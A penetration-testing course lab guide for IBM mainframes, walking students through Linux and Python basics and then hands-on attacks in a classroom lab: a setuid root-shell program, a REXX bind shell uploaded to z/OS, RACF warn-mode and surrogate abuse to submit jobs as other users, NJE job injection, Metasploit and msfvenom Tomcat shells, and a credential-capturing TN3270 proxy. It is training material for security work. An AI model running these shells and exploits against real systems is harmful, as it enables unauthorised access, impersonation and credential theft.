BROADCOM
MAINFRAME SOFTWARE

Ethical Mainframe Hacking 200

Lab Guide

06EMH20011

Proprietary and Confidential Information

Table of Contents

A. Bonus Labs

Lab 1-1 – Working with Files and Folders

Lab Objectives

- Learn basic UNIX/LINUX commands for navigation
- Commands to be typed will be in `red`
- Directives or replaceable text will be inside less than/greater than signs `<enter>`

Opening your terminal

- Your instructor will give you a demonstration on how to open your VM and get logged in
- Within your VM - click the terminal icon on the left menu bar (small black square with white outline)

Execute basic shell commands

- Figure out your current working directory `pwd`
  - This will be your "home" folder
- Who are you? Do the id command. `id`
- Create a directory in your home folder called Lab01-1 `mkdir Lab01-1`
  - Note Linux/UNIX are CASE sensitive
- Create an empty file by touching it `touch file01.txt`
- List your current directory `ls`
- Move that file into the directory you just created `mv file01.txt ./Lab01-1/`
- Change to the directory you just created `cd ./Lab01-1`
- Show your working directory now `pwd`
- List the contents of this directory using the long format `ls -l`

Find files and folders

- Show your current directory
- List your current directory
- Find the rockyou.txt.gz file in /usr `find /usr -type f -name "rockyou.txt*"`
- Copy that file to your home folder `cp <src> <dst>`
- Now gunzip the file you just copied `gunzip ./rockyou.txt.gz`
- How large is the uncompressed file you just created?
- Find all instances of the word "froggie" in the rockyou.txt file `grep froggie rockyou.txt`
- How many lines contain froggie? `cat rockyou.txt|grep froggie|wc -l`
- Dump only the lines containing froggie to a new file called file1.txt `grep froggie rockyou.txt > file1.txt`

- Sort the file you just created and display the last 10 entries `sort file1.txt|tail -10`
- Remove the files you just created `rm file1.txt rockyou.txt`

Lab 2-1 – Shell Scripting

Lab Objectives

- Shebang (what??)
- Changing file bits to make executable
- Commands: cat, sort, nano, for loops
- Basic bash scripting

Basic shell script

- Make a directory in your home directory called `Lab02-1`
- Inside `Lab02-1` do:
- Create the following file in nano called loop.sh `nano loop.sh <enter>`
- Type the following script into the editor:

```
#!/bin/bash
for i in $(seq 1 10);
       do echo "bob" >> tmp1.txt;
done;
```

- Exit nano and save `<ctrl>+x` then press `y`, then `<enter>`
- Change the permissions of the loop.sh to executable `chmod 755 ./loop.sh`
- Execute the loop.sh file `./loop.sh`
- Cat the created file `cat ./tmp1.txt`
- Sort the file uniquely `sort -u ./tmp1.txt`
- Add a line to tmp1.txt `echo ted >> ./tmp1.txt`
- Cat the tmp1.txt again
- Sort tmp1.txt uniquely again

Lab 3-1 – Python Scripting

Lab Objectives

- Create a basic python script
- Learn import, print, input, basic loops and comparisons
- Basic string manipulation

Create a basic python script

- Create a `Lab03-1` folder in your home directory, and do the following in `Lab03-1`
- Open your editor
- Copy the following lines into the editor:

```
#!/usr/bin/env python3
import sys
code = ""
while (code != "dog"):
    code=input("Enter code: ")
    print("You entered {myInput}".format(myInput=code))
sys.exit(0)
```

- Save the file as `pylab.py`
- Change the file so it is executable
- run with `./pylab.py`

BONUS - Complex Python for Reference

- Have a look and see if you understand all that's going on here

```
#!/usr/bin/env python3

## Libraries we will need
import sys
from Crypto.Hash import MD5

## Our secret password stored as an MD5 Hash
secret_hash="d6a6bc0db10694a2d90e3a69648f3a03"

## Primary function
def checkPass(inputPass):
  inputPass = inputPass
  while True:
    print("You entered, {name}".format(name=inputPass))
```

```
    # create MD5 hash of the entry
    entryHash = MD5.new()
    entryHash.update(inputPass.encode('utf-8'))
    hexHash = entryHash.hexdigest()

    # show the user the hash of the entry they sent
    print("This is the MD5 hash of your entry:
{hash}".format(hash=hexHash))

    # lastly let's compare it to our stored secret
    if (hexHash == secret_hash):
      print("The hashes match! The password is:
{password}".format(password=inputPass))
      break
    else:
      print("The input password is not correct")
      inputPass = enterPass()

  sys.exit()

## function to get new password attempt
def enterPass():
  newPass = input("Please enter new password attempt:")
  while (len(newPass) == 0):
    newPass = input("Password must be at least 1 character, please re-
enter:")
  return newPass


## This is the entry point to the program
## Read arguments and call the primary function
if __name__=="__main__":

#  Check args
  if len(sys.argv) != 2:
    print("You must enter exactly one argument.\nExiting.")
    sys.exit(-1)
  else:
    testPass = sys.argv[1]
    checkPass(testPass)
```

Lab 3-2 – Working with nmap

Lab Objectives

- Use git to clone a repository
- Use configure and make to build the downloaded repo
- Build nmap using the above and run

Download, build, and use NMAP

- Create a directory off your home directory called `Lab03-2`
- Change to that new directory
- Use the git command to clone the nmap repository `git clone https://github.com/nmap/nmap.git`
- Change to the newly created directory `cd ./nmap`
- Configure the repository for building, check for errors `./configure`
- Re-run the configure step `./configure`
- Check for clean configure
- If no errors, ensure the build is clean `make clean`
- Build the repo with make using 2 concurrent processes `make -sj2`
- Check for errors (warnings are generally OK)
- Run the new nmap `./nmap --version`
- Run the installed version of nmap `nmap --version`
- The "which" command is useful to know which one you are using `which nmap`
- How could you make the version you just built the default?
- Note differences?

Lab 4-1 – Make a SETUID Program

Lab Objectives

- Create and compile a basic C program
- Change owner to root
- Add setuid bit to run program as root
- Test program

Make a setuid program

```
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
    if (argc<3)
       exit(1 );
    setuid(atoi(argv[1]));
    setgid(atoi(argv[2]));
    execl("/bin/sh","sh",NULL);
    return 0;
}
```

Compile and Run

- Create a `Lab04-1` folder and change directories to it
- Add the above code to a source file called ha.c `nano ha.c`
- Compile: `gcc -o ha ha.c`
- Look at the file we created `ls -al ./ha`
- Chown: `sudo chown root:root ha`
- Look at the file again, what's different?
- Setuid: `chmod +s ./ha`
- Why didn't that work? We need to be root to add +s to a root-owned program `sudo chmod +s ./ha`
- Look at the file again, note the changes to the permission bits
- Check our id: `id`
- Execute: `./ha 0 0`
- Check id again: `id`
- Exit back to normal `exit`
- What happened?

Lab 5-1 – Manipulate a dataset from USS

Lab Objectives

- Manipulate USS & z/OS data
- Operate only within USS, not TSO

Instructor demo

- Log in to the class z/OS LPAR and change your password before you attempt the lab!

Copy files to/from MVS from USS

- Log in to USS
- Copy the dataset from MVS to USS `cp "//'LRNR.PUBLIC'" file01.txt`
- Replace all values of "fox" with "rabbit" in that dataset, use any means you like
  - (Time to research 'sed' or 'vi')
  - hint - try: `sed 's/fox/rabbit/g' ./file01.txt`
- Copy that dataset back to a new one in your HLQ
  - e.g. `cp file01.txt "//'LRNRxx.PUBLIC'"`
- Cat the resulting dataset to confirm
  - e.g. `cat "//'LRNRxx.PUBLIC'"`

Lab 6-1 – REXX Shells

Lab Objectives

- Uploading a file to a mainframe
- Setting up REXX sockets
- Executing REXX script
- Fixing REXX script
- Executing again

Connecting

- Open your x3270 session and connect to our lab environment as directed

Create REXX Script in Linux

- Copy the REXX script below to a file in Linux
- **NOTE** : using vim below is just an example, you can use any Linux text editor you like
  - In the terminal on your Linux VM type: `vim ~/USHELL`
    - Then in vim type `i`
  - Select the REXX script below (in the gray box)
  - copy it with `<ctrl>-c` and paste it to vim `<ctrl><shift>-v`
  - press `ESC` (escape key)
  - Save and exit vim `:wq`

```
/* REXX */
parse arg p
mf_ip = '0.0.0.0'
say 'Opening shell on' mf_ip||':'||p
n = "25"x
r = "$ "
s = SOCKET('INITIALIZE','DAEMON',2)
s = SOCKET('SOCKET')
parse var s socket_rc socketID .
s = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_REUSEADDR','ON')
s = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_LINGER','OFF')
s = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_KEEPALIVE','ON')
s = Socket('IOCTL',socketID,'FIONBIO','ON')
s = Socket('BIND',socketID,'AF_INET' p mf_ip)
s = Socket('Listen',socketID,2)
parse var s src .
clients = ''
```

```
DO FOREVER
SAY 'READING SOCKET' SOCKETID
 s = Socket('Select','READ' socketID clients 'WRITE' 'EXCEPTION')
 parse upper var s 'READ' readin 'WRITE' writtin 'EXCEPTION' exceptin
 IF INLIST(socketID,readin) THEN DO
  s = Socket('Accept',socketID)
  parse var s src hID .
  clients = hID
  s = Socket('Socketsetstatus')
  parse var s src . status
  s = Socket('Ioctl',hID,'FIONBIO','ON' )
  s = SOCKET('SEND',hID, "$ ")
 END
  if readin = hID THEN DO
   in = SOCKET('RECV',hID,10000)
   parse var in s_rc s_data_len s_data_text
   cmd = DELSTR(s_data_text, s_data_len)
   CALL BPXWUNIX cmd,,out.,err.
   text = ''
   DO i = 1 to err.0
    text = text||err.i||n
   END
   DO i = 1 TO out.0
    text = text||out.i||n
   END
   text = text||r
   s = SOCKET('SEND',hID, text)
  END
 END
return 0
/*-------*/
INLIST: procedure
 arg sock, socklist
 DO i = 1 to words(socklist)
   if words(socklist) = 0 then return 0
   if sock = word(socklist,i) then return 1
 end
 return 0
```

- More shells are available here: https://github.com/bigendiansmalls/Shells and in the folder `~/Labs/Tools/Shells`

Uploading a File

Use **ONE** of the three methods below to create the file `<userid>.REXX(USHELL)`

- 1 - FTP
  - Use FTP to connect to the mainframe and follow the prompts to logon
  - Change working directory to REXX `cd REXX`
  - (you may have to create the PDS if it doesn't exist)
    - Challenge: Make this PDS from FTP using SITE commands
  - Change the upload mode to ascii, type `ascii` and press enter
  - Upload `USHELL` in your home folder: `put USHELL`
  - to exit type `quit`
- 2 - Copy/Paste
  - Type `=3.4` on the ISPF `Command ===>` line, press enter to enter file browser
  - In `Dsname Level . . .` type `<userid>.**` and press enter
  - In command column next to `<userid>.REXX` type `E` and press enter
  - In command line type `s USHELL`
  - If necessary type `RES` to clear any messages
  - **In a Linux terminal** view the file `USHELL` with `cat ~/USHELL`
  - highlight **15 lines** the output and copy `<crtl><shift>+c`
  - **In x3270** make sure Options -> Toggles -> Paste with Left Margin is enabled
  - Paste into member
- 3 - File Transfer with x3270 and IND$FILE
  - Type `=6` in ISPF `Command ===>` line and press enter
  - Make sure your cursor is on the `===>` line
  - **In x3270** select `File --> File Transfer...`
  - In the dialogue box popup put:
    - Local File Name: `/home/emhuser/USHELL`
    - Host File Name: `'<userid>.REXX(USHELL)'`
    - **NOTE** : do not forget the single quotes, or it will fail
    - Select the option `Send to Host`
    - Select the option `Transfer ASCII File`
    - Leave the rest as is
    - Click `Transfer File`

Execute Shell

- From z/OS – ISPF, Execute the REXX script `<userid>.REXX(USHELL)` and pass it the argument of a port in the 40000 to 40030 range that matches your LRNR id: (**Use the port corresponding to your LRNR##. E.g. LRNR02 use 40002, LRNR22 use 40022**).
  - e.g. `TSO EX '<userid>.REXX(USHELL)' '40020'`
  - **NOTE**: You must use only the port assigned to your user id

- Once launched, then go to your Linux machine and connect with netcat `netcat r105 <port>`
- Notice that when you connect you get `[@`, if you type `ls` you get garbage
  - Before proceeding to the next section, think about why.
- When you're done, press `<ctrl>+c` to exit netcat, the REXX script will error out, this is fine.

Fix the Script

- Edit the script in ISPF
- Use one of the following fixes (or try both separately):
- Restart the script on z/OS and try connecting with NetEBCDICat.py instead!
  - `cd ~/Labs/Tools/Shells`
  - `./NetEBCDICat.py -i r105 -p 400xx`
- Or, Add the following line to the socket options in the script:
  `s = Socket('Setsockopt',socketID,'SOL_SOCKET','SO_ASCII','ON')`
  - Save and execute the script
    - Connect with netcat again
- At this point, you should have a UNIX shell prompt in netcat
  - **If not,** let us know and we'll help
- Try navigating OMVS with this shell
  - Have you noticed anything wrong with it? What?
- To exit, press `<ctrl>+c`

Lab 7-1 – RACF

Lab Objectives

- Use RACF program `SEARCH` to find datasets in warn mode and surrogate access
- Use surrogate access to submit jobs as other users

Access a Dataset in WARN mode

- issue TSO command: `SEARCH ALL WARNING NOMASK`
  - If you're in ISPF, prefix the command with `TSO` e.g., `TSO SEARCH ALL WARNING NOMASK`
- At the bottom of the screen in red is the name of a dataset
- Using ISPF View (with `V`) the file you have warn mode access to
- **Notice** the line `TEMPORARY ACCESS ALLOWED` , which means your access was blocked, but because it is in warn mode, access is granted
- **Notice** you can edit/view/delete/create or do whatever you want to a file in warn mode

Check SURROGAT Access

- In TSO issue the command `SEARCH CLASS(SURROGAT) FILTER(*.SUBMIT)`
- Note the user id of any profile you have access to
  - i.e., if you see `LRNR30.SUBMIT` write down `LRNR30`

Surrogat Access - Make a new JCL File

- Allocate a dataset `<userid>.JCLLIB` using `LRNR.JCLLIB` as the model
- Copy the contents of member `LAB03` from `LRNR.JCLLIB` into a new member in your `<userid>.JCLLIB` called `LAB03`

Surrogat Access - EDIT JCL File

- In job card add ,`USER=<Username from RACF SEARCH above>`
- Change `NOTIFY=&SYSUID to NOTIFY=<your userid>`
- Replace `EXEC 'LRNR.LABS(REXX)' . . . with SEND 'WOULD YOU LIKE TO PLAY A GAME' USER(<your userid>) NOW` replacing `<your userid>` with your userid
- Save your changes
- Submit the JCL by typing `submit` in the `Command ===>` line and pressing enter
- Notice you should get a message from the user you identified above after you press enter (if not, just press enter a few times)

Ethical Thinking

- Now that we can submit jobs as another user, what could we do with that?
- How could we use this in a pentest?

BONUS

- If you made a mistake, there's no way to check; you're better off testing without `USER=<surrogat user>` in the job card at first
- Using `IEBGENER` (that's the PGM below) to create the reverse shell
- Add the following to your JCL right after the job card:
  - Make sure you change `<surrogat userid>`

```
//CREATERX   EXEC PGM=IEBGENER
//SYSPRINT   DD SYSOUT=*
//SYSIN      DD DUMMY
//SYSOUT     DD SYSOUT=*
//SYSUT2     DD DSN=&&TEMP(SHELLED),
//           DISP=(NEW,PASS),SPACE=(TRK,(5,5,5)),
//           DCB=(RECFM=FB,LRECL=80,BLKSIZE=27920)
//SYSUT1     DD *
<place contents of USHELL from lab 7 here>
//* End of REXX script
Then add the IKJEFT01 step below after the REXX script and replace it
to make it look like this
Note Make sure you replace <port> with your assigned port (40000-
40030)
//EXECREXX EXEC PGM=IKJEFT01,
//            PARM='%SHELLED <port>',
//            REGION=0M
//SYSTSIN  DD  DUMMY
//SYSTSPRT DD  SYSOUT=*
//SYSEXEC  DD  DSN=&&TEMP,DISP=(OLD,DELETE,DELETE)
```

- Once you submit this job, you should be able to connect on the port you selected with `nc r105 <port>`

Who can tell us:

- What does `%SHELLED` do?
- What is `&&TEMP`?

Lab 8-1 – NJE Hacking

Lab Objectives

- Use njelib to connect and submit a job
- Identify OHOST and RHOST
- NOTE* You must use `python3.12` for this exercise

We've set up an insecure NJE connection on port 175

- The *ohost* is `ZM15`
- The *rhost* is `CLASSxx` where xx is your 2 digit ID `e.g. LRNR02 is CLASS02`
    - Where would you find this information?

Display Jes2 Information

- go to `~/Labs/Tools/NJElib`
- run iNJEctor replacing <rhost> and <ohost> with the values above: `python3.12 ./iNJEctor.py r105 <rhost> <ohost> \$djes2`
- Enable debugging if you want to see the NJE protocol in detail by adding `-d` before the ohost
- More commands here: https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.5.0/com.ibm.zos.v2r5.hasa200/has2cmdr.htm

Submit a job

- Edit the JCL `nop.jcl` in the folder `~/Labs/Tools/NJElib/JCL`
- Replace `NOTIFY=&SYSUID` with `NOTIFY=<your userid>,USER=LRNR30`
- run jcl.py: `python3.12 ./jcl.py ZM15 CLASSxx r105 JCL/nop.jcl <user>`

Lab 9-1 – Accessing CICS

Lab Objectives

- Accessing a CICS region
- Accessing a CICS transaction
- Gathering information about a CICS region

Accessing CICS

- Connect to our lab mainframe
- Type `CICS` and press enter
- You should see CICS signon screen; this is called the `CSGM` transaction
- Using the virtual keyboard (see **ISPF Navigation** in the Resource Guide Appendix for instructions) clear the screen:
  - Open the virtual keyboard
  - Click the button marked `Clear`
- Anywhere on the empty screen, type `CESN` and press enter
- Logon
  - Next to `Userid . . . .` type your userid
  - Next to `Password . . .` type your password
  - Press enter
  - You should see `DFHCE3549 Sign-on is complete (Language ENU)` in white
- Clear the screen again
- Type anywhere on the blank screen: `CEMT INQUIRE SYSTEM`
  - This loads the CICS transaction CEMT and passes the arguments `INQUIRE` and `SYSTEM`
  - Instead, you could type `CEMT` press enter, and then type `INQUIRE` press enter, and then `SYSTEM` press enter to see the same information
- Find current OS version `Oslevel` and cics level `Cicstslevel`
- At the top of the screen, overwrite `SYSTEM` with `TRANSACTION` and press enter
- Scroll up and down with the `F7` and `F8` to see all the various transactions installed on the system
- To exit CEMT, press `F3`
- To log off, clear the screen and type `CESF`
- You can now close the window

Lab 10-1 - Enumeration

Lab Objectives

- Learning how to obtain Logical Unit (LU)
- Using s3270 to enumerate LUs
- Use python to enumerate the system

Logical Unit Enumeration

Obtain LU name

- Using `tn3270lib`:

```
$ cd ~/Labs/Tools/tn3270lib
$ python2
>>> import tn3270lib
>>> tn3270 = tn3270lib.TN3270()
>>> tn3270.initiate("r105",993)
True
>>> tn3270.connected_lu
'<Lu Name>'
>>>
```

  - Are the logical units the same each time you reconnect?
  - Why would they change?

Enumerating LUs with Nmap

- use Nmap to identify the LU:
  `nmap -Pn --script +tn3270-screen -p 2323 r105`
    - Notice in the output it says logical unit:
- Try enumerating with Nmap:
  `nmap -Pn --script +tn3270-screen,+lu-enum -p 2323 r105 -vv`

Using Nmap to gather CICS information

- In the `~/Labs/NMAP` folder, use the `cics-info.nse` script
- Using `cics-info` script:

```
nmap -Pn --script +/home/emhuser/Labs/NMAP/cics-info -p 993 r105 --
script-args cics-info.user=<username>,cics-info.pass=<password>
```

Questions

- What is the version of z/OS?
- Who is the default user?
- What does the default user do for CICS?

Lab 11-1 – Metasploit and Tomcat

Hacking Metasploit – Lab Objectives

- Use Metasploit natively to obtain a reverse USS shell

Using Metasploit to Connect/Execute

- The Metasploit exploit `ftp_jcl_creds` uses the command `SITE FILE=JES` to run HLASM
- The payload `bind_shell_jcl` is a bind UNIX shell written in JCL and HLASM
- `RHOSTS` is the target FTP server
- `LPORT` tells Metasploit which port to connect back to

Metasploit

- Launch Metasploit: `msfconsole`
- At msf > prompt type: `use exploit/mainframe/ftp/ftp_jcl_creds`
- Set the payload with `set payload cmd/mainframe/bind_shell_jcl`
- Change the FTP User and password: `set FTPUSER <user> .` and `set FTPPASS <password>`
- Set RHOST to r105: `set rhost r105`
- Set LPORT to a port between `40000 and 40030`: set lport <port> e.g., `set lport 40022` – **use your assigned port 400xx** where xx is your LRNR#
- Set LHOST to 0.0.0.0: `set lhost 0.0.0.0`
- Set PassiveMode to True: `set passivemode true`
- Type `exploit` to launch the exploit and get a reverse shell

Questions

- What type of shell is this?
- Can you run TSO commands? Which ones?
- Can you cat a pds member, for example `LRNR##.REXX(LAB01)`?

Hacking Tomcat – Lab Objectives

1. Using Nmap to find web servers
2. Using Metasploit to obtain a reverse shell using Tomcat
3. Using UNIX commands to run TSO commands

Find the Tomcat Server

Use nmap, with default options and -sV to find the Tomcat server running:
e.g.: `nmap -sV -p 8080 r105`
Connect

- Open Firefox and connect to the port identified in the previous step
- Use these credentials to connect to the manager:
  - Username: `tomcat`
  - Password: `gibson`

WARNING! Please do not brute force this account, as it will automatically lock everyone out - use the credentials above!
Get a Bind Shell

- Use msfvenom to generate a bind JSP shell
- Replace `<port between 40000-40030>` and `<userid>` with your values

```
msfvenom -p java/jsp_shell_bind_tcp LPORT=<port between 40000-40030> -
f war > shell_<userid>.war
```

- With your browser go to `http://r105:8080/manager/html`
  - Username: `tomcat`
  - Password: `gibson`
- In the section **WAR file to deploy** click `Browse...`
  - select the war file you created `shell_<userid>.war`
- click `Deploy`
- In the **Applications** section in the `Path` column, find your deployed page `/shell_<userid>` and click that link
- It might take a bit for the page to load
- While its loading, try connecting with nc: `nc r105 <your port>`
  - It may take a few tries

Questions

- Can you run TSO commands?
- Which user are you running commands as?
- What **attributes** does this account have (hint, this needs a TSO RACF command)?
- Can you cat a pds member, for example `<userid>.REXX(LAB01)`?

Lab 12-1 - z/OS Enumeration

Lab Objectives

1. Use multiple methods to identify APF-authorized libraries
2. Use REXX script to identify RACF configuration items
3. Use RACF `SEARCH` to identify what datasets you might have access to
4. Use REXX to identify the current dataset concatenation

List APF Authorized Libraries

There are multiple ways to list the APF Authorized Libraries:

- Use the script LRNR.REXX(APF): `EX 'LRNR.REXX(APF)'`
- Use the script `ENUM` in the `~/Labs/Tools/Enumeration` folder
  - Upload `ENUM` to your REXX library
  - execute it with `EX '<userid>.REXX(ENUM)' 'APF'`

List out z/OS SETROPTS

- Try running the `SETROPTS LIST` command in TSO
  - It failed due to access rights!
- Upload the script `ENUM` in the `~/Labs/Tools/Enumeration` folder to either a dataset or UNIX
- Using the script, list out the security settings
  - TSO: `EX '<userid>.REXX(ENUM)' 'SEC'`
  - Unix: `./ENUM SEC`

Questions

- What is the minimum password length?
- Is KDFAES active? What does this mean?
- **Difficulty: Impossible**: Why does `ENUM` work when `SETROPTS LIST` fails?

Search the Dataset Class

- Use the RACF search command to find interesting rules
- Command: search class(dataset) filter(**) nomask
- Using `LD` determine your access to rules that have access to
  - e.g. `ld dataset('user.clist')`

Dataset Concatenation

- Upload the script `SYS0WN` in the `~/Labs/Tools/Enumeration` folder to `<userid>.REXX`
- Execute the script `EX '<userid>.REXX(SYS0WN)'`
- Do you have better than read to any of these?
- What could you do if you did?

BONUS Lab 1 - TN3270

Lab Objectives

- Interact with TN3270 with Python
- Use Set'n'3270 to create a fake TSO logon screen

Connect with python

- Make sure you are in the tn3270 python library folder:
  `cd ~/Labs/Tools/tn3270lib/`
- Launch python `python2`
- import the tn3270 library: `import tn3270lib`
- Connect using the initiate function
  - - `>>> tn3270 = tn3270lib.TN3270()`
  - - `>>> tn3270.initiate("r105", 993)`

Send Data

- Use the python library to send the 'IBMTEST' vtam command
  - - `>>> tn3270.send_cursor('IBMTEST')`
- Grab the output and print it to the screen
  - - `>>> tn3270.get_all_data()`
  - - `>>> tn3270.print_screen()`
  - - `>>> quit()`
  - **Hint:** You can print the screen multiple ways

Great! Now, you should see `IBMECHO ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789` printed to the screen.

Questions

- What can we use this script for?
- What situation would it be useful to use `IBMTEST`?

SET'n'3270

- In the tools folder, use SET'n'3270 to:
- Enable proxy mode
- Capture credentials

Launch SET'n'3270 in proxy mode

- You can find this tool in `~/Labs/Tools/SETn3270`

```
sudo ./SETn3270.py -p 23 --proxy --nossl --altport 4444 r105
```

- connect with x3270 to `localhost:4444`
- Watch your terminal – what do you see?

Ethical Thinking

- How could an attacker use SET'n'3270 in a corporate environment?

Bonus Lab 2 – FTP Code Execution

Lab Objectives

- Edit JCL in Linux
- Use FTP to upload and run JCL
- Use FTP to download job results
- Use TSh0cker to generate JCL with CATSO
- Use FTP to run the generated JCL
- Interact with CATSO to explore z/OS

JCL

Copy this JCL, edit it, and put it in the USS filesystem

- Build a jobcard from a previous lab (or on your own)
- Run and submit this job from USS

```
//<<JOBCARD>>
//SEARCH  EXEC PGM=ISRSUPC,
//             PARM='SRCHCMP,ANYC'
//NEWDD   DD DISP=SHR,DSN=LRNR.JCLLIB
//OUTDD   DD SYSOUT=*
//SYSIN   DD *
SRCHFOR  'IKJEFT'
/*
```

FTP Job Submission

Use FTP to execute JCL

- Connect to the mainframe with FTP
- Log on with username and password
- Issue the FTP command `site FILE=JES`
- Upload your JCL from the previous section
- Record `JOBnnnnn` where `nnnnn` is a number
- Use the FTP command `ls` to list the current job output
- Download your job results `GET JOBnnnnn`

Get a CATSO Bind Shell

The following steps will execute some REXX code using JCL, REXX and FTP.

Generate the JCL

- Use TSh0cker in the `~/Labs/Tools` folder to generate the JCL for you
    - replace `USERNAME` with your userid

    - replace `PASSWORD` with your password
    - replace `<choose a port>` with your assigned port between `40000-40030`

```
python2 ./TShOcker.py -p 993 -l --lport <choose a port 40000-40030> --
print r105 USERNAME PASSWORD > ./JCL_REXX
```

- `--print` means 'Print the JCL' (instead of connecting directly with the script)
- `-l` tells CATSO you want to setup CATSO in listener mode
- `--lport` is the listening port you want CATSO to listen on

Connect and Execute

- Using the same steps as above, connect to `r105` with FTP
- Enter into JES mode: `site FILE=JES`
- Change to ascii: `ascii`
- Upload JCL_REXX: `PUT JCL_REXX`
- Once the upload is complete, connect with `nc` to the port you chose to replace in `<choose a port>` with `nc -v r105 <same port you used to generate the script>`
    - If netcat fails to connect, wait a few seconds and try again.

CATSO Commands

- Type `help` to get a list of commands
- Try and run TSO commands `LU` and `SEARCH ALL WARNING NOMASK`
- Try and get system information
- Try and run USS (i.e., UNIX) commands
- show the contents of a file: `cat LRNR##.REXX(LAB01)`

Questions:

- What is the name of this LPAR?
- How many IP interfaces does it have?
- Where is the location of the RACF database?
- Can you see the job running in SDSF?
- What happens when you quit CATSO?
- Why did the job log disappear?

Bonus Lab 3 - Access Storage with REXX

Lab Objectives

- Viewing storage (i.e., memory) with REXX
- Finding memory area information on the IBM website
- Displaying strings as bits in REXX

Connecting

- Connect to our lpar
- Upload the REXX below to your REXX library and call it ACEE:
  e.g. `<userid>.REXX(ACEE)`
- Use previous labs as examples for how to upload a file or copy/paste this file into ISPF with x3270
- Make sure you save the newly created member

```
/* REXX */
/* STORAGE LAB REXX SCRIPT */
ascb_ptr = c2x(storage(d2x(x2d("224")),4))
asxb_ptr = c2x(storage(d2x(x2d(ascb_ptr) + x2d("6c")),4))
acee_ptr = c2x(storage(d2x(x2d(asxb_ptr) + x2d("c8")),4))
/* variable 'acee_ptr' points to the ACEE */
acee_trid = storage(d2x(x2d(acee_ptr) + x2d("40")),8)
acee_len = c2d(storage(d2x(x2d(acee_ptr) + x2d("14")),1))
acee_uid = storage(d2x(x2d(acee_ptr) + x2d("15")),acee_len)
say "("acee_uid") ("acee_trid")"
exit 0
```

Execute REXX script

- In ISPF `Command ===>` line type `TSO EX '<userid>.REXX(ACEE)'` (**note** the single quotes, can you remember why you need them?)
  - You could also do this from `=6` screen or the `READY` TSO prompt
  - Or even UNIX, but you're on your own for that
- Review output in red at the bottom of the screen
  - e.g. `(<userid>) (SC0TCU##)`

Edit REXX to Display ACEEFLG01

- Insert three lines after the line that starts with `"acee_uid="`
- In a browser, review the link below to determine the offset, in **HEX** of ACEEFLG1:
  - Link: http://publibfp.dhe.ibm.com/epubs/pdf/ich2c400.pdf
- Add the following to your REXX script: `aceeflg1 = storage(d2x(x2d(acee_ptr) + x2d("<<PUT HEX OFFSET HERE>>")),1)`

- Print the contents of our new variable in hex using `SAY C2X(aceeflg1)`
  - The function `C2X()` is a REXX built-in function to convert a character string to hex bytes
- Save the script
- Execute the changed and notice what your ACEEFLG1 is set to

BONUS:

- Using REXX, **say** ACEEFLG1 in binary instead of hex
- What actual flags are set for your user id?